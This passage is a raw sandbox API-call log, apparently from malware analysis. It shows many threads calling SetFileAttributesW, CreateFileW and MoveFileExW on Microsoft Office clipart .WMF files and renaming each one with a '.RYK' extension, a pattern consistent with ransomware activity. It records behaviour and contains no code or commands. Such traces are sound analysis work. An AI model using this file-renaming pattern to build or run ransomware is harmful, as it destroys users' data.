	[0276.491] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01040_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01040_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01040_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01040_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3492
	os_tid = 0x3b90


Thread:
	id = 3493
	os_tid = 0x3b94

	[0276.493] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01041_.WMF", dwFileAttributes=0x80) returned 0
	[0276.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01041_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01041_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.493] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.493] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01041_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01041_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01041_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01041_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3494
	os_tid = 0x3b98

	[0276.495] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01394_.WMF", dwFileAttributes=0x80) returned 0
	[0276.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01394_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01394_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.499] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.499] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01394_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01394_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01394_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01394_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3495
	os_tid = 0x3b9c

	[0276.496] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01395_.WMF", dwFileAttributes=0x80) returned 0
	[0276.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01395_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01395_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.497] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.497] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01395_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01395_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01395_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01395_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3496
	os_tid = 0x3ba0

	[0276.500] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01565_.WMF", dwFileAttributes=0x80) returned 0
	[0276.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01565_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01565_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.501] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.501] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01565_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01565_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01565_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01565_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3497
	os_tid = 0x3ba4

	[0276.502] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00017_.WMF", dwFileAttributes=0x80) returned 0
	[0276.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00017_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00017_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.504] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.505] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00017_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00017_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00017_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00017_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3498
	os_tid = 0x3ba8

	[0276.503] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00018_.WMF", dwFileAttributes=0x80) returned 0
	[0276.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00018_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00018_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.508] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.508] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00018_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00018_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00018_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00018_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3499
	os_tid = 0x3bac

	[0276.506] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00152_.WMF", dwFileAttributes=0x80) returned 0
	[0276.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.506] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.506] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00152_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00152_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00152_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3500
	os_tid = 0x3bb0

	[0276.509] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00157_.WMF", dwFileAttributes=0x80) returned 0
	[0276.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00157_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.512] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.512] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00157_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00157_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00157_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3501
	os_tid = 0x3bb4

	[0276.510] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00159_.WMF", dwFileAttributes=0x80) returned 0
	[0276.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00159_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00159_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.515] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.515] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00159_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00159_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00159_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00159_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3502
	os_tid = 0x3bb8

	[0276.513] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00166_.WMF", dwFileAttributes=0x80) returned 0
	[0276.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.517] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.518] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00166_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00166_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00166_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3503
	os_tid = 0x3bbc

	[0276.516] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00168_.WMF", dwFileAttributes=0x80) returned 0
	[0276.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00168_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.520] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.521] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00168_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00168_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00168_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3504
	os_tid = 0x3bc0

	[0276.519] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00170_.WMF", dwFileAttributes=0x80) returned 0
	[0276.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00170_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.524] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.524] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00170_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00170_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00170_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3505
	os_tid = 0x3bc4

	[0276.523] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00177_.WMF", dwFileAttributes=0x80) returned 0
	[0276.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00177_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.528] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.528] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00177_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00177_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00177_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3510
	os_tid = 0x3bd8

	[0276.526] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00183_.WMF", dwFileAttributes=0x80) returned 0
	[0276.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00183_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.526] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.526] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00183_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00183_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00183_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3511
	os_tid = 0x3bdc

	[0276.529] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00190_.WMF", dwFileAttributes=0x80) returned 0
	[0276.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00190_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00190_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.530] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.530] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00190_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00190_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00190_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00190_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3512
	os_tid = 0x3be0

	[0276.531] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00191_.WMF", dwFileAttributes=0x80) returned 0
	[0276.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.532] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.532] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00191_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00191_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00191_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3513
	os_tid = 0x3be4

	[0276.533] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00192_.WMF", dwFileAttributes=0x80) returned 0
	[0276.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00192_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00192_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.534] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.534] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00192_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00192_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00192_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00192_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3514
	os_tid = 0x3be8

	[0276.535] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00194_.WMF", dwFileAttributes=0x80) returned 0
	[0276.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.536] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.536] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00194_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00194_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00194_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3515
	os_tid = 0x3bec

	[0276.538] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00197_.WMF", dwFileAttributes=0x80) returned 0
	[0276.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00197_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00197_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.539] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.539] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00197_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00197_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00197_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00197_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3516
	os_tid = 0x3bf0

	[0276.540] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00199_.WMF", dwFileAttributes=0x80) returned 0
	[0276.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00199_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00199_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.540] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.541] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00199_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00199_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00199_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00199_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3517
	os_tid = 0x3bf4

	[0276.542] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00200_.WMF", dwFileAttributes=0x80) returned 0
	[0276.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.545] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.545] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00200_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00200_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00200_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3518
	os_tid = 0x3bf8

	[0276.543] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00208_.WMF", dwFileAttributes=0x80) returned 0
	[0276.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00208_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00208_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.543] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.544] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00208_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00208_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00208_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00208_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3519
	os_tid = 0x3bfc

	[0276.546] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00212_.WMF", dwFileAttributes=0x80) returned 0
	[0276.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00212_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00212_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.547] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.547] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00212_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00212_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00212_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00212_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3520
	os_tid = 0x5a0

	[0276.548] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00221_.WMF", dwFileAttributes=0x80) returned 0
	[0276.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00221_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00221_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.549] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.549] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00221_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00221_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00221_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00221_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3526
	os_tid = 0x1678

	[0276.550] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00222_.WMF", dwFileAttributes=0x80) returned 0
	[0276.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00222_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.551] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.551] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00222_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00222_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00222_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3527
	os_tid = 0x34a4

	[0276.552] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00223_.WMF", dwFileAttributes=0x80) returned 0
